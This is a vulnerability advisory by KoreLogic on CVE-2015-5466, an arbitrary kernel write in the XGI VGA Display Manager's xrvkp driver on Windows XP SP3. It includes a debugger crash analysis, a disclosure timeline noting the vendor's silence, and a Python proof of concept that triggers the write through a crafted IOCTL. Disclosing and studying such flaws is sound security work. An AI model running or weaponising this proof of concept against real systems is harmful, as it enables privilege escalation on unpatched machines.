XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation

Vulnerability Details

Affected Vendor: Silicon Integrated Systems Corporation
Affected Product: XGI VGA Display Manager
Affected Version: 6.14.10.1090
Platform: Microsoft Windows XP SP3
CWE Classification: CWE-123: Write-what-where condition
Impact: Arbitrary Code Execution
Attack vector: IOCTL
CVE-ID: CVE-2015-5466

Vulnerability Description

A vulnerability within the xrvkp module allows an attacker
to inject memory they control into an arbitrary location they
define. This vulnerability can be used to overwrite function
pointers in HalDispatchTable resulting in an elevation of
privilege.

Technical Description

Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 2600.xpsp_sp3_qfe.101209-1646
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0

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•                    Bugcheck Analysis                                    *
  

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Use !analyze -v to get detailed debugging information.
BugCheck 50, {ffff0000, 1, 804f3b76, 0}
Probably caused by : xrvkp.sys ( xrvkp+6ec )
Followup: MachineOwner

kd> kn
Call stack: # ChildEBP RetAddr
00 f63fd9a0 8051cc7f nt!KeBugCheckEx+0x1b
01 f63fda00 805405d4 nt!MmAccessFault+0x8e7
02 f63fda00 804f3b76 nt!KiTrap0E+0xcc
03 f63fdad0 804fdaf1 nt!IopCompleteRequest+0x92
04 f63fdb20 806d3c35 nt!KiDeliverApc+0xb3
05 f63fdb20 806d3861 hal!HalpApcInterrupt+0xc5
06 f63fdba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
07 f63fdbc8 804f07e4 nt!KeInsertQueueApc+0x4b
08 f63fdbfc f7b136ec nt!IopfCompleteRequest+0x1d8
09 f63fdc34 804ee129 xrvkp+0x6ec
0a f63fdc44 80574e56 nt!IopfCallDriver+0x31
0b f63fdc58 80575d11 nt!IopSynchronousServiceTail+0x70
0c f63fdd00 8056e57c nt!IopXxxControlFile+0x5e7
0d f63fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
0e f63fdd34 7c90e514 nt!KiFastCallEntry+0xf8
0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
15 0021f6c0 1e07bd9c _ctypes+0x54d8
16 00000000 00000000 python27!PyObject_Call+0x4c

Mitigation and Remediation Recommendation

No response from vendor; no remediation available.

Credit

This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.

Disclosure Timeline

2015.05.14 - Initial contact; requested security contact.
2015.05.18 - Second contact attempt.
2015.05.25 - Third contact attempt.
2015.07.02 - KoreLogic requests CVE from Mitre.
2015.07.10 - Mitre issues CVE-2015-5466.
2015.07.28 - 45 business days have elapsed since KoreLogic last
attempted to contact SiS without a response.
2015.09.01 - Public disclosure.

Proof of Concept

from sys import exit
from ctypes import *
NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
WriteProcessMemory = windll.kernel32.WriteProcessMemory
DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle
FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
OPEN_EXISTING = 3
NULL = None

device = “xgikp”
code = 0x96002404
inlen = 0xe6b6
outlen = 0x0
inbuf = 0x1
outbuf = 0xffff0000
inBufMem = “\x90”*inlen

def main():
try:
handle = CreateFileA(“\\.\%s” % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print “[-] error creating handle”
exit(1)
except Exception as e:
print “[-] error creating handle”
exit(1)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))
DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,outbuf,outlen)
CloseHandle(handle)
return False

if name==“main”:
main()